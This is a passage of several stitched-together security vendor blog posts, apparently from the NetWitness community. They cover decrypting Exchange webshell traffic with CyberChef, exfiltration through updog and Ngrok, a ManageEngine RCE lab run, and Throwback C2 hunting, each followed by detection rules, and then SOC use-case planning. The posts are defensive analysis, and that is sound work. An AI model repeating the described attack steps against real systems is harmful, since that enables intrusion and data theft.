kByTsFZq=t52oDnptrTkTGLPlNYi6U2crOvyn5KhAC2MJegqJ2s5396NZ9ZFqEuN2RHAaaqePvgKuQ7X%2BPFePh0x3QNXbL9sMnyPkRcA3IvyGbPFbt89cwlmtuPLJdjmCZ%2FDNPacCBeG2PzLV70p2Q0vRiyOXzi2NeEo6jcyc5iQAfOFCWPf90OjoEDruADkMgg18JV7hqtBWLsOF1caRW8%2BVcEj0Fii88I9zGYwjd%2F9Dv3TV4SFKxVvYeVJRr6lTHHO0RIJEGVU5Oa8F%2BkO%2BEQt%2FtS49h8J%2FpjTNShwZOALoLUuB7Rc%3D&nTzuZDVs=SryqIaK3fpejyDoOdyf9b%2Fi7aBqPAzBL1SUROVuScbc%3D

 

The beginning of the payload contains part of the AES encryption key. Namely, in the decompiled code shown above we notice that the AES key is: kByTsFZq********nTzuZDVs********

 

The data that follows the first 8 bytes of the key is shown below:

 

t52oDnptrTkTGLPlNYi6U2crOvyn5KhAC2MJegqJ2s5396NZ9ZFqEuN2RHAaaqePvgKuQ7X%2BPFePh0x3QNXbL9sMnyPkRcA3IvyGbPFbt89cwlmtuPLJdjmCZ%2FDNPacCBeG2PzLV70p2Q0vRiyOXzi2NeEo6jcyc5iQAfOFCWPf90OjoEDruADkMgg18JV7hqtBWLsOF1caRW8%2BVcEj0Fii88I9zGYwjd%2F9Dv3TV4SFKxVvYeVJRr6lTHHO0RIJEGVU5Oa8F%2BkO%2BEQt%2FtS49h8J%2FpjTNShwZOALoLUuB7Rc%3D

 

Lets decrypt this data step by step, and build a Cyberchef recipe to do the job for us:

 

Step 1 - 3: The obfuscated data needs to be URL decoded, however, the + character is a legitimate Base64 character that is misinterpreted by the URL decoder as a space. So, we first replace the + with a . (dot). The + character will not necessarily be in every chunk of Base64 encoded data, but we need to account for it in order to build an error free recipe.

 

Decrypting: Step 1-3

 

Step 4 – 5: At this point we can Base64 decode the data. However, the data that we will get from this step is binary in nature, so we will convert to ASCII hex as well, since we need to use part of it for the AES IV.

 

Decryption: Step 4-5

 

Step 6 – 7: The first 32 bytes of ASCII hex (16 bytes raw) are the AES IV, so in these two steps we use the Register function of Cyberchef to store these bytes in $R0, and then remove them with the Replace function:

 

Decryption: Step  6-7

 

Step 8: Finally we can decrypt the data using the static AES key that we got from the decompiled code, and the dynamic IV value that we extracted from the decoded data.

 

Decryption: Step 8

 

The actual recipe is shown below:

 

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'%2B'%7D,'.',true,false,true,false)URL_Decode()Find_/_Replace(%7B'option':'Simple%20string','string':'.'%7D,'%2B',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true)To_Hex('None',0)Register('(.%7B32%7D)',true,false,false)Find_/_Replace(%7B'option':'Regex','string':'.%7B32%7D(.*)'%7D,'$1',true,false,true,false)AES_Decrypt(%7B'option':'Latin1','string':'kByTsFZqREDACTEDnTzuZDVsREDACTED'%7D,%7B'option':'Hex','string':'$R0'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D)

 

We use the same recipe to decode the second chunk of encoded data in the request (SryqIaK3fpejyDoOdyf9b%2Fi7aBqPAzBL1SUROVuScbc%3D), which ends up only decoding to the following:

 

Decryption: Part 2

 

The response does not contain any parts of the key, so we can just copy everything following the HTTP headers and decrypt with the same formula. Here is a partial view of the results of the command, which is just a file listing of the \Windows\temp folder:

 

Decrypt Response

 

NetWitness Platform - Detection

 

The malicious activity in this incident will be detected at multiple stages by NetWitness Endpoint from the exploit itself, to the webshell activity and subsequent commands executed via the webshells. The easiest way to detect webshell activity, regardless of its type, is to monitor any web daemon processes (such as w3wp.exe) for uncommon behavior. Uncommon behavior for such processes primarily falls into three categories:

  1. Web daemon process starting a shell process.
  2. Web daemon process creating (writing) executable files.
  3. Web daemon process launching uncommon processes (here you may have to filter out some processes based on your environment).

 

The NetWitness Endpoint 11.4 comes with various AppRules to detect webshell activity:

 

Webshell detection rules

 

The process tree will also reveal the commands that are executed via the webshell in more detail:

 

Process flow

 

Several other AppRules detect the additional activity, such as:

PowerShell Double Base64
Runs Powershell Using Encoded Command
Runs Powershell Using Environment Variables
Runs Powershell Downloading Content
Runs Powershell With HTTP Argument
Creates Local User Account

 

As part of your daily hunting you should always also look at any Fileless_Scripts, which are common when encoded powershell commands are executed:

 

Fileless_Script events

 

From the NetWitness packet perspective such network traffic is typically encrypted unless SSL interception is already in place. RSA highly recommends that such technology is deployed in your network to provide visibility into this type of traffic, which also makes up a substantial amount of traffic in every network.

 

Once the traffic is decrypted, there are several aspects of this traffic that are grouped in typical hunting paths related to  the HTTP protocol, such as HTTP with Base64, HTTP with no user agent, and several others shown below:

 

Service Analysis

 

The webshell commands are found in the Query meta key:

 

Query meta key

 

In order to flag the lowercase request to /ews/exchange.asmx we will need to setup a custom configuration using the SEARCH parser, normally disabled by default. We can do the same with the other lowercase headers, which are the characteristics we observed of whatever client the attacker is using to interact with this webshell. In NWP we can  quickly setup this in the search.ini file of your decoder.  Any hits for this string can then be referenced in AppRules by using this expression (found = 'Lowercase EWS'), and can be combined with other metadata.

 

Search.ini config

 

Conclusion

 

This incident demonstrates the importance of timely patching, especially when a working exploit is publicly available for a vulnerability. However, regardless of whether you are dealing with a known exploit or a 0-day, daily hunting and monitoring can always lead to early detection and reduced attacker dwell time. The NetWitness Platform will provide your team with the necessary visibility to detect and investigate such breaches.

 

Special thanks to Rui Ataide and Lee Kirkpatrick for their assistance with this case.

Lee Kirkpatrick

What's updog?

Posted by Lee Kirkpatrick Employee Mar 16, 2020

Updog is a replacement for Python's SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set adhoc SSL certificates and use HTTP basic auth. It was created by sc0tfree  and can be found on his GitHub page here. In this blog post we will use updog to exfiltrate information and show you the network indicators left behind from its usage.

 

The Attack

We are starting updog with all the default settings on the attacker machine, this means it will expose the directory we are currently running it from over HTTP on port 9090:

 

In order to quickly make updog publicly accessible over the internet, we will use a service called, Ngrok. This service exposes local servers behind NATs and firewalls to the public internet over secure tunnels - the free version of Ngrok creates a randomised URL and has a lifetime of 8 hours if you have not registered for a free account:

 

This now means that we can access our updog server over the internet using the randomly generated Ngrok URL, and upload a file from the victims machine:

 

The Detection using NetWitness Network

An item of interest for defenders should be the use of services such as Ngrok. They are commonly utilised in phishing campaigns as the generated URLs are randomised and short lived. With a recent update to the DynDNS parser from William Motley, we now tag many of these services in NetWitness under the Service Analysis meta key with the meta value, tunnel service:

 

 

Pivoting into this meta value, we can see there is some HTTP traffic to an Ngrok URL, an upload of a file called supersecret.txt, a suspicious sounding Server Application called werkzeug/1.0.0 python/3.8.1, and a Filename with a PNG image named, updog.png:

 

 

Reconstructing the sessions for this traffic, we can see the updog page as the attacker saw it, and we can also see the file that was uploaded by them:

 

 

NetWitness also gives us the ability to extract the file that was transferred to the updog server, so we can see exactly what was exfiltrated:

 

Detection Rules

The following table lists an application rule you can deploy to help with identifying these tools and behaviours:

 

Appliance

Description

Logic

Fidelity

Packet Decoder

Detects the usage of Updog

server begins 'werkzeug ' && filename = 'updog.png '

High

 

 

Conclusion

As a defender, it is important to monitor traffic to services such as Ngrok as they can pose a significant security risk to your organisation, there are also multiple alternatives to Ngrok and traffic to those should be monitored as well. In order for the new meta value, tunnel service to start tagging these services, make sure to update your DynDNS Lua parser.

Introduction

Security Operation Centre (SOC) comes in different forms (e.g. In-House, Outsourced, Hybrid etc) and sizes, depending on multiple factors such as the objectives and functions that the SOC is meant to serve, as well as the intended scale of monitoring. However, in almost all SOCs, there will always be a SIEM, which basically acts as the brain of the SOC to pick up anomalies by correlating and performing sense-making on the information coming in from various packet and log sources. More than often, the efficiency of your SOC in being able to detect potential breaches in a timely manner, depends very much on the SIEM itself, which includes from having the correct sizing and configuration, being integrated with the relevant data sources, to having the right Use Cases deployed, among others. In this post, we will be focusing on the strategy to plan and develop Use Cases that will lead to effective monitoring and detection in your SOC.  

 

Prioritise your Use Case Development by Road-mapping

When you are first starting out on your SOC journey, there will be many Use Cases which may come to mind that would cater to different threat scenarios. Most of the SOCs would typically make use of the Out-Of-The-Box (OOTB) Use Cases that are available as a start, however, this will not be sufficient in the long run. Hence, there is a need to also develop your own Use Cases on top of the OOTB ones. The fact is that Use Case development is a lengthy and on-going process, from identifying the problem statement to finetuning the Use Cases, and also coupled with the fact that the threat landscape is constantly evolving. Therefore, it is always important to be able to prioritise which Use Cases to be developed first and one of the best ways to do so, is to come up with a roadmap. 

 

When it comes to road-mapping for your Use Case development, there are many good open-source references available, such as the MITRE ATT&CK Framework and THE VERIS Framework, which are useful resources to aid you in your roadmap planning, further information can be found in the following URLs - MITRE ATT&CK https://attack.mitre.org/, THE VERIS http://veriscommunity.net/. However, it is important to note that while such frameworks form good references, they should not be taken wholesale when it comes to planning for your organisation’s Use Case development roadmap, reason being all organisations are unique and therefore not all areas are applicable. Prior to planning for the roadmap, it will be worthwhile to first perform a Priority Analysis, where you can identify the priority areas in which the Use Cases should be focused upon, based on factors such as the following:

 

  •      Existing threat profile including top known threats,

 

  •     Critical Assets and Services (note: It is extremely important for an organisation to have in place a well-defined methodology to regularly and systematically identify Critical Assets and Services as the outputs from such identification exercises are integral to many other parts of your security operations e.g. from deciding on the level of monitoring of an asset to assigning the appropriate severity level to an incident.)

 

  •      Critical Impact Areas to the organisation e.g. Financial, Reputation, Regulatory etc.

 

With the Priority Analysis being performed, you will then be able to identify which are your “Crown Jewels” and prioritise the protection efforts by developing the relevant Use Cases around them.

 

The Development Lifecycle

Once the priority areas have been identified, the next step will be to brainstorm for relevant Use Cases in these areas, before developing and finally deploying them into the SIEM. The following summarises the phases in a typical Use Case development lifecycle:

 

  1.       Define Problem Statement. This highlights the “problem” that you wish to solve (i.e. the threat that you wish to detect) by having the Use Case, and give rises to the objective of the Use Case which you are planning to develop. It is important to note that in planning which Use Case to be developed, the relevancy of a Use Case should not be determined solely based on presence of indicators from the past logs of the environment, because it does not mean that an incident (e.g. breach) that have not happened before will not occur in the future (Refer to the Priority Analysis explained in the previous section for recap on how to identify relevant Use Cases).  

 

  1.       Develop High Level Logic. Once the objective of the Use Case is clear, the next step will be to develop the high-level logic of the Use Case using pseudo code. This includes identifying the necessary parameters such as the length of the “view” or “window” and the number of counts required to trigger the Use Case. Try to avoid focusing too much on the actual syntax at this stage as this may cloud your thinking and increase the chances of introducing errors into your logic design.

 

  1.       Identify Data Requirements. Identify the packet and/ or log sources that are required as inputs into the Use Case and check their availability in the production environment.

 

  1.      Check Live Resource or Internal Library. Based on the high-level logic developed, always try to look for similar and existing Use Cases that are available in the Live Resource (more information at: https://community.rsa.com/docs/DOC-79978), community platforms or your own internal Use Case library, instead of developing them from scratch, as this would help to potentially minimize the efforts on development and at the same time reduce chances of human errors.

 

  1.     Development. Proceed to develop the Use Case in syntax form by either making modifications from existing references or develop from scratch if there are no other alternatives.

 

  1.     Test & Deploy. Deploy the Use Case in a test or staging environment where possible, and simulate the threat scenario which the Use Case is intended to detect to confirm that the Use Case is functioning correctly, before proceeding to deploy it in the production environment. Note that there is an option in NetWitness to deploy the Use Case as a Trial Rule, more information can be found at: https://community.rsa.com/docs/DOC-78667.

 

  1.       Monitor False Positive & False Negative Rates. Once the rule has been successfully deployed into the SIEM, set up the necessary metrics to monitor the False Positive and False Negative rates.
  •  A high False Positive rate is likely to take a toll on the SOC operations in the long run, as unnecessary human resources and efforts would be spent on triaging all the false positives.

 

  •  Do note that while False Positives can be determined following triage, it is much more challenging to determine and obtain an accurate picture of the False Negative rate, as this is only possible when you happened to learn of an actual breach and where the relevant Use Case failed to trigger in your environment i.e. you do not know what you do not know. In many instances, breaches could go undetected for a prolonged period of time, hence making False Negative rate an extremely difficult metric to be measured. Therefore, it is important to properly test out the Use Case where possible, following initial deployment.

 

  1.      Finetune. Now, should you stop yourself from deploying a particular Use Case for fear of introducing a potentially high False Positive rate? We all know that high false positive rates are one of the nightmares for an analyst, however, we should not be stopping ourselves from deploying a particular Use Case into the environment simply because of this, reason being the Use Case serves to exist in the first place because of the “problem” that you need to solve (as defined in your Problem Statement). Rather, we should look to deploy, monitor and fine tune the Use Case to reduce the False Positive rate over time. At this point, we have to caution that this is not a one-time process and may require several iterations of review and finetuning over time to eventually stabilise the False Positive rate to an acceptable level.

 

  1.      Regular Review. Again, as the threat landscape evolves constantly, we should look to put in place a process to conduct regular reviews of the existing Use Cases, finetune or even retire them if they are no longer relevant, in order to maintain the overall detection efficiency of the SIEM.

 

Playbook

Now that the Use Case has been deployed into the environment, what is the next step? While the monitoring and detection part of the cycle has been taken care of, it is equally important to also ensure that we have a robust incident response mechanism in place. Apart from the Incident Response Framework which spells out the high-level response process, it is recommended to go into the second order of details to put in place the relevant Playbooks, which are step-by-step response procedures with tasks tagged to individual SOC roles and specific to different threat scenarios. As a good practice, such Playbooks should also be tagged to the relevant Use Cases that are deployed in your SOC. The following diagram summarises how we can make use of the playbooks during the Incident Response cycle depending on the maturity level of the SOC:

 

  1.       Printed Procedures. This is the least mature method to operate the Playbooks and is generally not recommended unless there are no other suitable alternatives.

 

  1.      Shared Spreadsheet. This is suitable for small scaled or newly set-up SOCs which are not ready to invest in a SIRP or SOAR yet. For each new case, the relevant playbook template can be pulled out and populated onto an excel spreadsheet (or equivalent) and have it deposited into a shared drive available to all the SOC members, where analysts could update the incident response actions that they have taken while the SOC Manager, Incident Handler or Analyst Team Lead could track the status of the open cases through these spreadsheets.

 

  1.     SIRP. This is basically an Incident Management Platform which allow the analysts to easily apply the relevant playbooks and update the status of the incidents in a centralised platform. As compared to the spreadsheet method, the SIRP allows for a stricter access control in terms of being able to define and enforce different level of permissions across different roles in the platform, as well as the ability to maintain an audit trail.

 

  1.      SOAR. This Orchestrator provides a greater degree of automation in the incident response as compared to SIRP, which could potentially cut down the response time and increase the overall efficiency of the analysts.

 

Conclusion

To conclude, there is no one-size-fit-all solution when it comes to developing the Use Cases in your organisation and one of the recommended ways is to define a short-to-medium term roadmap customised to your environment for Use Case development. The roadmap should also be reviewed and revised from time-to-time to ensure that it stays relevant to the constantly evolving threat landscape. In general, your SOC should have adequate coverage (in terms of monitoring, detection and response) across different phases in the Cyber Kill Chain as shown below:

 

 

We hope that you find this useful in planning for the Use Cases to be developed in your organisation and happy building!

A zero-day RCE (Remote Code Execution) exploit against ManageEngine Desktop Central was recently released by ϻг_ϻε (@steventseeley). The description of how this works in full and the code can be found on his website, https://srcincite.io/advisories/src-2020-0011/. We thought we would have a quick run of this through the lab to see what indicators it leaves behind.

 

The Attack

Here we simply run the script and pass two parameters, the target, and the command - which in this case is using cmd.exe to execute whoami and output the result to a file named si.txt:

 

We can then access the output via a browser and see that the command was executed as SYSTEM:

 

Here we execute ipconfig:

 

And grab the output:

 

The Detection in NetWitness Packets

The script sends a HTTP POST to the ManageEngine server as seen below. It targets the MDMLogUploaderServlet over its default port of 8383 to upload a file with controlled content for the deserialization vulnerability to work, in this instance the file is named logger.zip. The command to be executed can also be seen in the body of the POST:

The traffic by default for this exploit is over HTTPS, so you would need SSL interception to see what is shown here.

 

This is followed by a GET request to the file that was uploaded via the POST for the deserialization to take place, which is what executes the command passed in the first place:

 

This activity could be detected by using the following logic in an application rule:

(service = 80) && (action = 'post') && (filename = 'mdmloguploader') && (query begins 'udid=') || (service = 80) && (action = 'get') && (directory = '/cewolf/')

 

The Detection Using NetWitness Endpoint

To detect this RCE in NetWitness Endpoint, we have to look for Java doing something it normally shouldn't, as this is what ManageEngine uses. It is not uncommon for Java to execute cmd, so the analyst has to look into the commands to understand if it is normal behaviour or not - from the below we can see java.exe spawning cmd.exe and running reconaissance type commands, such as whoami and ipconfig - this should stand out as odd:

 

The following application rule logic could be used to pick up on this activity. Here we are looking for Java being the source of execution as well as looking for the string "tomcat" to narrow it down to Apache Tomcat web servers that work as the backend for the ManageEngine application, the final part is identifying fileless scripts being executed by it:

(filename.src ='java.exe') && (param.src contains'tomcat') && (filename.dst begins '[fileless','cmd.exe')

Other java based web servers will likely show a similar pattern of behavior when being exploited.

 

 

Conclusion

As an analyst it is important to stay up to date with the latest security news to understand if you organisation could potentially be at risk of compromise. Remote execution vulnerabilities such as the one outlined here can be an easy gateway into your network, and any devices reachable from the internet should be monitored for anomalous behaviour such as this. Applications should always be kept up to date and patches applied where available ASAP to avoid becoming a potential victim.

This post is going to cover a slightly older C2 framework from Silent Break Security called, Throwback C2. As per usual, we will cover the network and endpoint detections for this C2, but we will delve a little deeper into the threat hunting process for NetWitness as well.

 

The Attack

After installing Throwback and compiling the executable for infection, which in this case, we will just drop and execute manually. We will shortly see the successful connection back to the Throwback server:

 

Now we have our endpoint communicating back with our server, we can execute typical reconaissance type commands against it, such as whoami:

 

Or tasklist to get a list of running processes:

 

This C2 has a somewhat slow beacon that by default is set to ~10 minutes, so we have to wait that amount of time for our commands to be picked up and executed:

 

 

Detection Using NetWitness Network

To begin hunting, the analyst needs to prepare a hypothesis of what it is they believe is currently taking place in their network. This process would typically involve the analyst creating multiple hypotheses, and then using NetWitness to prove, or disprove them; for this post, our hypothesis is going to be that there is C2 traffic - these can be as specific or as broad as you like, and if you struggle to create them, the MITRE ATT&CK Matrix can help with inspiration.

 

Now that we have our hypothesis, we can start to hunt through the data. The below flow is an example of how we do exactly that with HTTP:

  1. Based on what we are looking for defines the direction. So in this case, we are looking for C2 communication, which means our direction will be outbound (direction = 'outbound')
  2. Secondly, you want to focus on a single protocol at a time. So for our hypothesis, we could start with SSL, if we have no findings, we can move on to another protocol such as HTTP. The idea is to navigate through them one by one to separate the data into smaller more manageable buckets without getting distracted (service = 80)
  3. Now we want to hone in on the characteristics of the protocol, and pull it apart. As we are looking for C2 communication, we would want to pull apart the protocol to look for more mechanical type behaviour - one meta key that helps with this is Service Analysis - the below figure shows some examples of meta values created based off HTTP

 

A great place to get more detail on using NetWitness for hunting can be found in the RSA NetWitness Hunting Guide: RSA NetWitness Hunting Guide PDF.

 

From the Investigation view, we can start with our initial query looking for outbound traffic over HTTP, and open the Service Analysis meta key. There are a fair number of meta values generated, and all of them are great places to start pivoting on, you can choose to pivot on an individual meta value, or multiple. We are going to start by pivoting on three, which are outlined below:

  • http six or less headers: Modern day browsers typically have seven or more headers. This could indicate a more mechanical type HTTP connection
  • http single response: Typical user browsing behaviour would result in multiple requests and responses in a single TCP connection. A single request and response can indicate more mechanical type behaviour
  • http post no get no referer: HTTP connections with no referer or GET requests can be indicative of machine like behaviour. Typically the user would have requested one or more pages prior to posting data to the server, and would have been referred from somewhere

 

After pivoting into the meta values above, we reduce the number of sessions to investigate to a more manageable volume:

 

Now we can start to open other meta keys and look for values of interest without being overwhelmed by the enormous amount of data. This could involve looking at meta keys such as Filename, Directory, File Type, Hostname Alias, TLDSLD, etc. Based off the meta values below, the domain de11-rs4[.]com stands out as interesting and something we should take a look at; as an analyst, you should investigate all domains you deem of interest:

 

Opening the Events view for these sessions, we can see a beacon pattern of ~10 minutes, the filename is the same everytime, and the payload size is consistent apart from the initial communication which could be a download of a second stage module to further entrench - this could also be legitimate traffic and software simply checking in for updates, sending some usage data, etc.:

 

Reconstructing the events, we can see the body of the POST contains what looks like Base64 encoded data, and in the response we see a 200 OK but with a 404 Not Found message and a hidden attribute which references cmd.exe and whoami:

The Base64 data in the POST is encrypted, so decoding it at this point would not reveal anything useful. We may, however, be able to obtain the key and encryption mechanism if we had the executable, keep reading on to see!

 

Similarly we see another session which is the same but the hidden attribute references tasklist.exe:

The following application rule logic would detect default Throwback C2 communication:
service = 80 && analysis.service = 'http six or less headers' && analysis.service = 'http post no get no referer' && filename = 'index.php' && directory = '/' && query begins 'pd='

This definitely stands out as C2 traffic and would warrant further investigation into the endpoint. This could involve directly analysing all network traffic for this machine, or switching over to NetWitness Endpoint to analyse what it is doing, or both.

 

NOTE: The network traffic as seen here would be post proxy, or traffic in a network with no explicit proxy settings (https://www.educba.com/types-of-proxy-servers/).

 

Detection Using NetWitness Endpoint

As per usual, I start by opening the compromise keys. Under Behaviours of Compromise (BOC), there are multiple meta values of interest, but let's start with outbound from unsigned appdata directory:

 

Opening the Events view for this meta value, we can see that an executable named, dwmss.exe, is making a network connection to de11-rs4[.]com:

 

Coming back to the investigation view, we can run a query to see what other activity this executable is performing. To do this, we execute the following query, filename.src = 'dwmss.exe' - here we can see the executable is running reconaissance type commands:

 

From here we decide to download the executable directly from the machine itself and perform some analysis on it. In this case, we ran strings and analysed the output and saw there were a large number of references to API calls of interest:

 

There is also a string that references RC4, which is an encryption algorithm. This could be of potential interest to decrypt the Base64 text we saw in the network traffic:

 

RC4 requires a key, so while analysing the strings we should also look for potential candidates for said key. Not far from the RC4 string is something that looks like it could be what we are after:

 

Navigating back to the packets and copying some of the Base64 from one of the POST's, we can run it through the RC4 recipe on CyberChef with our proposed key; in the output we can see the data decoded successfully and contains information about the infected endpoint:

 

Now we have confirmed this is malware, we should go back and look at all the activity generated by this process. This could be any file that it has created, files dropped around the same time, folders it may be using, etc.

 

Conclusion

C2 frameworks are constantly being developed and improved upon, but as you can see from this C2 which is ~6 years old, their operation is fairly consistent with what we see today, and with the way NetWitness allows you to pull apart the characteristics of the protocol, they can easily be identified.

It is possible to add RSA NetWitness as a Search Engine in Chrome, which allows to run queries directly from the address bar.

 

 

The following are the steps to follow in your browser to set this up.

 

  1. Start by navigating to your NetWitness instance on the device you want to query (typically the broker). Note the highlighted number in the address (this number identifies the device to query and varies from environment to environment).
  2. Right click in the navigation bar and select "Edit search engines..."

 

 

 

  1. Click on "Add" to add a new search engine
  2. Add the information for your NetWitness instance
    • Search Engine: This can be any name of your choice. This is the name that will show in the address bar when selected
    • Keyword: This is the keyword that will be used to trigger NetWitness as the Search Engine to use (initiated by typing "keyword" followed by the <tab> key)
    • URL: this should be based on the following structure: https://<netwitness_ip>/investigation/<number from 1st step>/navigate/query/%s
  3. Click on "Add" to add NetWitness as a Search Engine

 

 

Now, whenever you click on the address bar, type nw followed by the <tab> key (or whatever keyword you have chosen in the previous step), you can directly type your NetWitness query in the address bar and hit <enter> to run the query on NetWitness.

 

 

 

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